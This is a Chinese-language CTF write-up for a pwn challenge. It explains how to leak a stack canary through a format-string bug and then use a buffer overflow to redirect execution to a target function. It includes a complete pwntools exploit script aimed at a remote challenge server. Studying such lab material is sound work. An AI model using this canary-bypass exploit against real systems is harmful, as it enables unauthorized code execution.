这题是难度4,也是第一次见着针对开启canary保护的程序作溢出,收获还是挺大的~
0x1
首先checksec
开启了栈保护(canary)、栈不可执行,没开启地址空间随机化
程序本身给了两部分,选择后都可以进行一次输入
0x2
ida静态分析:
选1有缓冲区溢出漏洞(0x100>136)
选2有格式化字符串漏洞
目标函数在0x4008DA
0x3
canary又称金丝雀,在栈中存放一个字节串,当发现这个字节串被修改时告知用户发现溢出并终止程序执行,效果例如:
该字符串具备如下特征:
- 无特殊规定时位于栈的ebp上方一个单元格(0x1-0x8)
- 以00结尾
- 每次执行值不同
因此需要先通过格式化字符串漏洞暴露该值并在溢出时将对应地址覆盖对应值规避检测
0x4
显然,我们gets存放buf的地址与printf格式化字符串形参相对偏移为6
buf与canary字符串距离为0x90-0x8=0x88,占2*8+1=17个内存单元
canary与printf格式化字符串形参相对偏移为6+17=23
试一下,00结尾,是他了
0x5
代码如下
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#p=process('./fmof')
p=connect("61.147.171.105", 56969)
p.sendlineafter("battle \n","2")
p.sendline("%23$p")
tmp=int(p.recv(),16)
canary=p64(tmp)
payload=b"a"*(0x88)+canary+p64(0)+p64(0x4008DA)
p.sendlineafter("3.","1")
p.sendline(payload)
p.interactive()
写代码的时候:
1.发现加debug看输入输出还是很管用的
2.要用recv而不是recvline,否则换行符转不了16进制
3.不能直接用读到的字节流,因为0x也是字节,要转为16进制数再转为p64地址
0x6
运行成功